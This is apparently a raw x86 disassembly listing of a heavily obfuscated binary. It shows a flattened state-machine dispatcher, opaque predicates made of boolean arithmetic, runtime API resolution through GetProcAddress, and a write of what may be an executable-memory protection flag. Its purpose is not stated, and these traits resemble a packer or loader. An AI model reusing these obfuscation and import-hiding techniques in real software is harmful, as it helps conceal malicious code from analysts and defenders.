sub esi, 0x57
rcl edi, 0xf4
ror ebx, 0x70
ror edx, 0xeb
imul ebx
dec edi
ror esi, 0x59
ror edi, 0xf2
imul esi
and edx, 0x95
ror ebx, 2
inc ebx
bswap ebx
ror edi, 0xe3
not esi
ror edi, 0x17
mov ecx, dword [0x50818c]
mov edi, 0xac2cee42
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x6549923c
mov esi, eax
or esi, 0x92a66001
and ecx, eax
and esi, 0x93e67201
and edx, 0x6409803c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6c198dfe
or eax, esi
and esi, 0x93e67201
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x9ab66dc3
and eax, 0x6549923c
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0x6cddccf3
and eax, 0x9322330c
or eax, edx
xor eax, 0x9322330d
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4081d229
and eax, 0x8102044
mov edx, ecx
or edx, 0x300a0902
and esi, 0x708bdb2b
and ecx, 0x87640490
and edx, 0x708bdb2b
or ecx, esi
mov esi, 0x59c17d2
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x2621fa6c
and ecx, 0xd9de0593
or eax, ecx
xor eax, 0x914ff7fe
setne ah
sete al
cmp dword [0x508188], 0xa
mov dl, ah
setl ch
setge cl
inc dl
and ch, ah
and al, cl
and dl, cl
or al, ch
mov ch, cl
inc ch
xor al, 1
and ch, ah
or dl, ch
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
xor cl, 1
or cl, dl
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xac2cee42
cmovne eax, esi
test dl, 1
cmovne eax, edi
test cl, 1
cmove eax, esi
jmp 0x405b00
mov eax, 0x86246213
jmp 0x405b00
cmp eax, 0x56a92e8a
je 0x40da91
cmp eax, 0x56aa298f
jne 0x401100
mov eax, 0x4dd6d3a5
jmp 0x401100
cmp eax, 0xf387e887
je 0x40daa1
cmp eax, 0xf459a95a
jne 0x401100
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, ecx
mov eax, ecx
not edx
or eax, 0x40000000
mov edi, edx
mov esi, eax
and esi, 0x70b2a344
and edi, 0x8f4d5cbb
and edx, 0xff04b544
or edi, esi
mov esi, ecx
xor esi, 0xbfffffff
and esi, ecx
and ecx, 0xfb4abb
mov ebx, esi
not ebx
and esi, 0x8f4d5cbb
or ecx, edx
or eax, ebx
and ebx, 0x70b2a344
or esi, ebx
not eax
xor esi, edi
mov edi, ecx
xor edi, 0xc24098
xor ecx, 0xff04b544
or eax, esi
and edi, 0x92c6f1d8
mov esi, eax
not esi
and eax, 0x69611fcd
and esi, 0x969ee032
or eax, esi
mov esi, eax
xor esi, 0x4011c8
xor eax, 0x969ee032
mov edx, eax
or eax, ecx
and ecx, 0x6d390e27
and edx, 0x6d390e27
and esi, 0x92c6f1d8
or esi, edx
or edi, ecx
not eax
xor edi, esi
or eax, edi
mov ecx, eax
not ecx
and eax, 0x85705c02
and ecx, 0x7a8fa3fd
or eax, ecx
xor eax, 0x85705c02
mov dword [ebp - 0x108], eax
mov eax, 0x82e77997
jmp 0x401100
cmp eax, 0x2fb7842b
je 0x40daab
cmp eax, 0x2fe42985
jne 0x401100
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x178]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
mov dword [ebp - 0xf8], eax
mov eax, 0x714fdd6d
jmp 0x401100
cmp eax, 0xb32846be
je 0x40db74
cmp eax, 0xb36b6a2b
jne 0x401100
mov eax, 0xf9fee754
jmp 0x401100
cmp eax, 0x70c37188
je 0x40dccf
cmp eax, 0x714fdd6d
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x1604000
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xfa97b7f5
and ecx, eax
and esi, 0xc360e5b1
and edx, 0x38971244
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3c9f1a4e
or eax, esi
and esi, 0xc360e5b1
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x568480a
and eax, 0xfa97b7f5
or eax, ecx
mov edx, eax
xor edx, 0xdd7f18e0
mov ecx, eax
not ecx
andn esi, eax, edx
mov edx, eax
and edx, 0x2280e71f
and eax, 0x9f531dc1
or edx, esi
mov esi, edx
not esi
and edx, 0xe923461
and esi, 0xf16dcb9e
or edx, esi
mov esi, ecx
and esi, 0x60ace23e
and ecx, 1
or esi, eax
xor edx, 0xd3ed2c80
mov eax, esi
xor eax, 0xc401980
xor esi, 0x40a4621a
or ecx, eax
and esi, 0xd3b7665a
and ecx, 0x2c4899a5
or ecx, esi
mov esi, 0x8347b73e
xor ecx, 0x2c4899a5
or ecx, edx
mov eax, ecx
xor eax, 0x428576f6
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xbd7a8909
and ecx, 0x428576f6
or ecx, eax
sete ah
setne al
cmp dword [0x508180], 0xa
setge cl
setl ch
mov edx, ecx
or cl, al
xor dl, al
xor al, ch
and dl, ah
not al
mov ah, dl
and al, ch
xor dl, al
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x43b039b6
cmovne ecx, esi
test al, 1
mov esi, 0x43b039b6
jmp 0x40bf4b
cmp eax, 0xd1d5896f
je 0x40dd85
cmp eax, 0xd2734c62
jne 0x401100
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
vmovsd xmm0, qword [eax]
mov eax, 0x8859d815
vmovsd qword [ecx], xmm0
jmp 0x401100
cmp eax, 0xd392b81
je 0x40dd8f
cmp eax, 0xd5cc55e
jne 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0xf1e4582e
and edx, 0xe1ba7d1
or eax, edx
mov edx, eax
xor edx, 0xb1a4180e
xor eax, 0xe1ba7d1
mov esi, eax
and esi, 0x445ac430
and edx, 0xbba53bcf
or edx, esi
mov esi, ecx
not esi
and ecx, 0xbba53bcf
or eax, esi
and esi, 0x445ac430
or ecx, esi
not eax
mov esi, 0x15d1d14e
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x71c27226
and ecx, 0x8e3d8dd9
or ecx, edx
xor ecx, 0x71c27226
xor eax, ecx
test eax, ecx
setne dl
cmp dword [0x508180], 0xa
mov ah, dl
setge al
inc ah
mov ecx, eax
xor cl, dl
mov ch, cl
and cl, al
and ch, dl
mov dh, ch
xor ch, cl
xor cl, 1
xor dh, 1
or cl, dh
xor cl, 1
or cl, ch
mov ch, dl
and ch, ah
xor ch, 1
mov dh, ch
or ch, ah
xor dh, ah
xor ch, 1
or ch, dh
xor ch, al
and al, dl
mov edx, ecx
or al, ch
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xd83f91e2
cmovne ecx, esi
test al, 1
mov eax, 0xd83f91e2
jmp 0x40c58a
cmp eax, 0x8859d815
je 0x40dd99
cmp eax, 0x8d2fac3c
jne 0x401100
mov ecx, dword [0x508184]
mov esi, 0x24f07085
mov dword [ebp - 0x28], 0xa
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
and edx, 0x4749328a
and ecx, 0xb8b6cd75
or ecx, edx
mov edx, eax
not edx
or eax, 1
and edx, 0xe3a18990
and eax, 0x1c5e766f
or eax, edx
xor eax, 0x1c5e766f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9b73dd34
and ecx, 0x648c22cb
or ecx, eax
mov eax, ecx
xor eax, 0x40c0248
xor ecx, 0xb035010
and ecx, 0x6b837093
and eax, 0x947c8f6c
or eax, ecx
xor eax, 0x947c8f6c
setne ah
sete ch
cmp dword [0x508180], 0xa
setl al
setge dl
mov cl, al
xor al, ch
or ch, dl
or dl, ah
xor dl, 1
or cl, ah
or dl, al
xor al, 1
mov dh, cl
or cl, ch
mov ah, al
or al, dl
xor dh, ch
xor cl, 1
xor ah, dl
xor al, 1
or cl, dh
or al, ah
mov ch, cl
mov edx, eax
xor ch, 1
xor dl, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0xbbdc6677
xor cl, al
test al, 1
mov eax, 0x24f07085
cmovne eax, edx
test ch, 1
cmovne eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
cmp eax, 0x4f986944
je 0x40de8a
cmp eax, 0x4fb5aeec
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x4c9917d2
and edi, 0xb366e82c
and edx, 0x8bf9098d
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x7406f672
mov ebx, esi
not ebx
and esi, 0xb366e82d
or eax, edx
or ecx, ebx
and ebx, 0x4c9917d2
mov edx, eax
xor edx, 0x7406f672
xor eax, 0x8bf9098d
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x1535a294
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x508180], 0xa
setl dl
setge ah
or al, ah
or dl, cl
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
or cl, al
and dl, ah
mov eax, 0xf82a9638
mov ch, cl
xor ch, dl
test cl, cl
cmovne eax, esi
test dl, dl
mov edx, 0xf82a9638
cmove eax, edx
test ch, ch
cmovne eax, esi
jmp 0x401100
cmp eax, 0xeaba0456
je 0x40df3a
cmp eax, 0xebd75d7e
jne 0x401100
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax]
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0x11c], eax
mov eax, 0x8737530a
jmp 0x401100
cmp eax, 0x2b7b2bf4
je 0x40df44
cmp eax, 0x2bf8fa17
jne 0x401100
mov ecx, dword [0x508184]
mov esi, 0xee685225
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3a845fe0
and ecx, 0xc57ba01f
or eax, ecx
xor eax, 0x3a845fe0
setne ah
sete ch
cmp dword [0x508180], 0xa
setge al
setl dh
mov cl, al
and dh, ah
xor cl, ch
xor cl, 1
or cl, al
and al, ch
mov dl, cl
or al, dh
mov ah, al
xor dl, 1
mov ch, al
or al, dl
xor ah, 1
and ch, cl
and dl, ah
xor ah, cl
xor al, 1
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x6e1e9529
cmovne ecx, esi
test al, 1
mov eax, 0x6e1e9529
jmp 0x4010ec
cmp eax, 0xa8383f71
je 0x40df7d
cmp eax, 0xa8639846
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2910581c
and eax, 0x50081
mov edx, ecx
or edx, 0xc0e2a440
and esi, 0xe9f2fc5c
and ecx, 0x16080322
and edx, 0xe9f2fc5c
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xef09f5c4
and ecx, 0x10f60a3b
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x821c0549
xor edx, 0x39e352a6
xor ecx, 0x39e352a7
and ecx, edx
and eax, 0x8bfe45cd
and edx, 0x7401ba32
or edx, eax
mov eax, ecx
not eax
and ecx, 0x65fed1af
mov esi, eax
and esi, 0x9a012e50
or ecx, esi
mov esi, edx
xor esi, 0x64009023
xor edx, 0x8bfe45cc
or eax, edx
and edx, 0x9a012e50
and esi, 0x65fed1af
or esi, edx
not eax
xor esi, ecx
or eax, esi
andn ecx, eax, eax
mov edx, eax
not edx
mov esi, eax
and esi, 0x211b0a5d
mov edi, ecx
not edi
and edx, 0xdee4f5a2
and ecx, 0xdee4f5a2
or eax, edi
and edi, 0x211b0a5d
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x3bb09a5a
mov edx, ecx
and edx, 0xc44f65a5
or eax, edx
xor eax, 0x3bb09a5a
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x508180], 0xa
setl ch
setge cl
mov al, ch
xor al, ah
and ah, al
and al, ch
xor ah, 1
xor al, 1
mov ch, ah
xor ch, al
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
xor ah, 1
or al, ch
mov dl, ah
xor dl, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, dl
mov edx, ecx
and al, cl
xor dl, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x4c70b2d6
xor cl, al
test cl, 1
mov ecx, 0xe2188f58
cmovne edx, ecx
test ah, 1
mov ecx, 0x4c70b2d6
cmovne ecx, edx
test al, 1
jmp 0x40d023
cmp eax, 0x68b6bfa3
je 0x40df87
cmp eax, 0x692afeaf
jne 0x401100
mov eax, 0x5cdc281
jmp 0x401100
cmp eax, 0xc8f7b2b5
je 0x40e077
cmp eax, 0xca97855f
jne 0x401100
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe8]
mov eax, 0xcc3764ae
jmp 0x401100
cmp eax, 0x1d52ec9c
je 0x40e1d0
cmp eax, 0x1d53a6de
jne 0x401100
mov eax, 0xc3cf71e6
jmp 0x401100
cmp eax, 0x999cbbc6
je 0x40e32e
cmp eax, 0x9a24a393
jne 0x401100
mov ecx, dword [0x508184]
mov edi, 0x30c023d9
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x1176002
mov ecx, edx
and ecx, 0xa680140
and edx, 0x6d5fa501
or esi, ecx
mov ecx, eax
xor ecx, 0xb7f6142
and ecx, eax
xor esi, 0x1176002
and eax, 0x92a05afe
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xda6c3266
and esi, 0x2593cd99
or ecx, esi
mov esi, ecx
xor esi, 0x41035200
xor ecx, 0x2eecacda
mov edx, ecx
and edx, 0x9ef0216f
and esi, 0x610fde90
or esi, edx
mov edx, eax
xor edx, 0x5a90
xor eax, 0xc502101
and eax, 0x9ef0216f
and edx, 0x610fde90
or edx, eax
xor edx, esi
mov esi, 0x5c898b96
xor ecx, edx
test ecx, edx
sete ah
setne ch
cmp dword [0x508180], 0xa
setl dl
setge cl
mov al, dl
or cl, ah
xor al, ch
or ch, dl
or dl, ah
mov dh, ch
xor dl, 1
xor al, 1
xor dh, cl
or cl, ch
or al, dl
xor cl, 1
mov ah, al
or cl, dh
xor ah, 1
mov edx, ecx
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
mov ebx, edx
or al, cl
xor bl, al
test bl, 1
cmovne edi, esi
test al, 1
mov eax, edi
cmovne eax, esi
test dl, dl
mov edx, dword [ebp - 0xbc]
cmove eax, edi
mov dword [ebp - 0x10c], edx
jmp 0x401100
cmp eax, 0x5d0e28d8
je 0x40e3de
cmp eax, 0x5d19215f
jne 0x401100
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x28], 0
mov eax, 0x1d52ec9c
jmp 0x401100
cmp eax, 0xfb3568eb
je 0x40e52c
cmp eax, 0xfb723fbd
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x30bf5a45
mov edx, eax
not edx
and ecx, eax
or eax, 0xcf40a5ba
and edx, 0x30084201
mov esi, ecx
not esi
mov edi, eax
and edi, 0xc4b73cde
and ecx, 0x3b48c321
or eax, esi
and esi, 0xc4b73cde
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x31d33b76
and ecx, 0xce2cc489
or eax, ecx
mov edx, eax
mov edi, eax
xor edx, 0x686122
xor edi, 0xfe939ecc
xor eax, 0x242100
mov ecx, edi
and ecx, 0x1f14081d
and edx, 0xe0ebf7e2
or edi, 0x49904aaf
and eax, 0x80242140
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ecx, 0xe0ebf7e2
xor ebx, 0x568442b2
xor edx, 0x9000804
and ebx, ecx
or ecx, 1
and edx, 0x89298b66
mov esi, ebx
not esi
and ebx, 0x80a46bef
and ecx, 0x76d67499
mov dword [ebp - 0xa4], esi
and dword [ebp - 0xa4], 0x7f5b9410
or esi, edi
and edi, 0x7f5b9410
or ecx, edx
add ebx, dword [ebp - 0xa4]
or eax, edi
not esi
xor ecx, 0x76d67499
xor eax, ebx
or esi, eax
mov eax, esi
not eax
and esi, 0xf5fee638
and eax, 0xa0119c7
or esi, eax
xor esi, 0xbc6eac96
or ecx, esi
mov edx, ecx
xor edx, 0xd624a02a
mov eax, ecx
and eax, 0x4404802a
and edx, ecx
not ecx
and ecx, 0x92202000
or eax, ecx
mov ecx, eax
xor ecx, 0x800a
xor eax, 0xbbfb7fd5
mov esi, eax
and esi, 0x458627e5
and ecx, 0x9220800a
or ecx, esi
mov esi, edx
not esi
and edx, 0xba79d81a
or eax, esi
and esi, 0x458627e5
or edx, esi
not eax
mov esi, 0x83db4242
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x720487a6
and ecx, 0x8dfb7859
or eax, ecx
mov ecx, eax
xor ecx, 0x24202280
xor eax, 0x13854072
and eax, 0x9385457e
and ecx, 0x6c7aba81
or ecx, eax
mov eax, ecx
xor eax, 0x4188280
xor ecx, 0x91810552
and ecx, 0xf9e33d53
and eax, 0x61cc2ac
or eax, ecx
xor eax, 0x61cc2ac
sete cl
setne ah
cmp dword [0x508180], 0xa
setge al
setl dl
and ah, dl
and al, cl
or dl, cl
or al, ah
mov ecx, eax
xor cl, 1
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
and dl, al
xor ah, 1
and cl, ah
or cl, dl
mov edx, eax
xor dl, ah
or ah, al
xor ah, 1
or ah, dl
mov dl, ah
xor dl, cl
test ah, 1
mov eax, 0xd5e0f406
cmovne eax, esi
test cl, cl
mov ecx, 0xd5e0f406
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401100
cmp eax, 0x420aeb47
je 0x40e542
cmp eax, 0x43b039b6
jne 0x401100
cmp dword [ebp - 0xf8], 0
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
setne byte [ebp - 0x80]
imul eax, ecx
mov edx, eax
mov ecx, eax
or ecx, 0x180000
not edx
mov esi, edx
or esi, 0xca208105
and ecx, 0xca388105
and edx, 0x35437c92
or edx, ecx
mov ecx, eax
and esi, 0xca388105
and ecx, 0x840268
or ecx, esi
mov esi, 0x8347b73e
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x9977d123
and edx, 0x66882edc
or ecx, edx
mov edx, ecx
xor edx, 0x66142cb5
xor ecx, 0x99ebd34a
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete ah
cmp dword [0x508180], 0xa
setl cl
setge dl
mov al, cl
or cl, ah
or dl, ah
xor al, ah
xor cl, 1
or cl, al
and al, ah
mov ah, cl
xor al, 1
mov ch, al
xor ah, 1
or al, dl
xor ch, dl
mov dl, ah
xor al, 1
and dl, cl
or al, ch
xor dl, 1
or dl, cl
mov cl, ah
xor dl, 1
xor cl, al
or dl, ah
xor dl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x419951a8
cmovne eax, esi
test dl, 1
mov edx, 0x419951a8
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
cmp eax, 0xbbdc6677
je 0x40e564
cmp eax, 0xbcccae18
jne 0x401100
mov ecx, dword [ebp - 0x12c]
mov eax, 0x9a24a393
mov dword [ebp - 0xbc], ecx
jmp 0x401100
cmp eax, 0x7989e793
je 0x40e56e
cmp eax, 0x79ef880b
jne 0x401100
mov ecx, dword [0x508184]
mov esi, 0x3418fc65
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x87249e4c
and ecx, 0x78db61b2
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
xor edx, 0x87249e4c
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
setne dl
sete al
cmp dword [0x508180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
and cl, ch
xor dl, ch
and dh, al
and dl, al
xor al, ah
or dh, cl
and al, ah
mov cl, dh
or al, dl
xor cl, ch
and cl, dh
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x68b6bfa3
cmovne eax, esi
test dl, 1
mov edx, 0x68b6bfa3
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401100
cmp eax, 0xd650c375
je 0x40e578
cmp eax, 0xd6713af8
jne 0x401100
mov eax, 0x754c1c58
jmp 0x401100
cmp eax, 0xa3d1cf2
je 0x40e5a0
cmp eax, 0xbe21f15
jne 0x401100
mov eax, 0xd35b1f7
jmp 0x401100
cmp eax, 0x8347b73e
je 0x40e685
cmp eax, 0x83db4242
jne 0x401100
mov eax, 0xd5e0f406
jmp 0x401100
cmp eax, 0x4c545e39
je 0x40e695
cmp eax, 0x4c70b2d6
jne 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x86bdb9ca
mov esi, edx
and esi, 0x79424635
and edx, 0xa5e22b04
or ecx, esi
mov esi, ecx
xor ecx, 0x79424634
xor esi, 0x82980148
or ecx, 1
and esi, 0xd39a0568
mov edi, ecx
and edi, 0x2c65fa96
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x5a1dd4fb
mov ebx, edi
not ebx
and edi, 0xd39a0569
or eax, edx
or ecx, ebx
and ebx, 0x2c65fa96
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edx, ecx
not edx
and ecx, 0x320a11c8
mov esi, edx
and esi, 0xcdf5ee37
or ecx, esi
mov esi, eax
xor esi, 0x120810c8
xor eax, 0x85e02a04
and eax, 0xcdf5ee37
and esi, 0x320a11c8
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xe2188f58
sete ah
setne dl
cmp dword [0x508180], 0xa
mov ch, ah
mov cl, ah
setge al
and ch, al
inc al
xor cl, al
mov dh, al
and cl, dl
or dh, dl
and dl, al
or al, ah
xor cl, 1
or dl, ch
xor al, 1
mov ebx, ecx
or cl, dh
or al, dl
xor bl, dh
xor cl, 1
mov ah, al
or cl, bl
xor ah, 1
mov edx, ecx
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x95da0122
cmovne ecx, esi
test al, 1
mov esi, 0x95da0122
jmp 0x40bf4b
cmp eax, 0xe5d34f9f
je 0x40e69f
cmp eax, 0xe6cae841
jne 0x401100
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0xc8f7b2b5
jmp 0x401100
cmp eax, 0x28b69207
je 0x40e6b8
cmp eax, 0x28d0a49c
jne 0x401100
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, 0x9ef945e9
jmp 0x401100
cmp eax, 0xa5a69a4c
je 0x40e7d5
cmp eax, 0xa62a661d
jne 0x401100
mov eax, 0x5cf074d9
jmp 0x401100
cmp eax, 0x64f2a3a0
je 0x40e7df
cmp eax, 0x6754ad08
jne 0x401100
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov ecx, dword [0x508184]
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0xaf940ab9
not esi
mov edx, esi
and ecx, eax
and edx, 0xaf940ab9
and esi, 0x912fbbad
and eax, 0x6ed04452
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xd78d2dbb
and edx, 0x2872d244
or ecx, edx
mov edx, ecx
xor edx, 0x68180301
xor ecx, 0x87e6d8fc
mov esi, ecx
and esi, 0x1207a4ea
and edx, 0xedf85b15
or edx, esi
mov esi, eax
xor esi, 0x6cd04010
xor eax, 0x1007a0a8
and eax, 0x1207a4ea
and esi, 0xedf85b15
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x59372b97
setne dl
sete cl
cmp dword [0x508180], 0xa
mov ch, dl
setl ah
setge al
or ch, al
xor al, dl
xor dl, ah
or cl, ah
mov ah, dl
and al, ch
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or ah, cl
mov ecx, 0x550490a1
or al, dl
mov dh, ah
xor dh, al
test ah, ah
cmovne ecx, esi
test al, al
mov eax, 0x550490a1
cmove ecx, esi
test dh, 1
jmp 0x40be30
cmp eax, 0xc6830342
je 0x40e7e9
cmp eax, 0xc6b3ebce
jne 0x401100
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x180], eax
mov eax, 0x574b8060
jmp 0x401100
cmp eax, 0x195a4304
je 0x40e7f3
cmp eax, 0x1a74cd4c
jne 0x401100
mov eax, dword [ebp - 0x24]
mov eax, 0x28b69207
jmp 0x401100
cmp eax, 0x974d1b48
je 0x40e848
cmp eax, 0x978db466
jne 0x401100
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, 0xa3d1cf2
jmp 0x401100
cmp eax, 0x59372b97
je 0x40e92f
cmp eax, 0x5aa1e4c6
jne 0x401100
mov eax, 0xd5d76501
jmp 0x401100
mov eax, dword [ebp - 0xfc]
mov eax, 0x1535a294
jmp 0x401100
mov eax, 0x1df31768
jmp 0x401100
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xcc], eax
mov eax, 0xad23f8a0
jmp 0x401100
mov eax, 0x68b6bfa3
jmp 0x401100
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov edx, ecx
xor edx, 0xd8b46969
mov eax, ecx
and eax, 0x40000928
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x98b46041
mov ebx, edx
not ebx
and edx, 0xc2fd12b4
or eax, esi
mov esi, eax
xor esi, 0x40000020
xor eax, 0xbffff6d7
mov edi, eax
or eax, ebx
and ebx, 0x3d02ed4b
and edi, 0x3d02ed4b
and esi, 0xc0b40020
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0xf8b46969
and edx, 0x74b9696
or eax, edx
mov edx, eax
not edx
and eax, 0xbec01ce3
and edx, 0x413fe31c
or eax, edx
xor eax, 0xbec01ce3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa3c92e4c
and ecx, 0x5c36d1b3
or eax, ecx
mov ecx, dword [0x508184]
xor eax, 0xa3c92e4c
mov dword [ebp - 0x1a8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa18b822
mov edx, ecx
and edx, 0xf5e747dc
and ecx, 0x1b65d09c
or esi, edx
mov edx, eax
and eax, 0xe49a2f63
and edx, 1
xor esi, 0xa18b822
or eax, ecx
or edx, esi
xor eax, 0xe49a2f63
mov esi, 0x7044e504
not edx
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x508180], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
xor dl, 1
mov cl, al
and al, ch
xor cl, 1
or al, dl
and cl, ah
mov ch, al
mov edx, ecx
mov ah, cl
xor ch, 1
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, ch
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, ch
xor ah, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, 0xb57c2224
xor al, 1
or al, dl
mov edx, eax
xor dl, ah
test al, 1
cmovne ecx, esi
test ah, 1
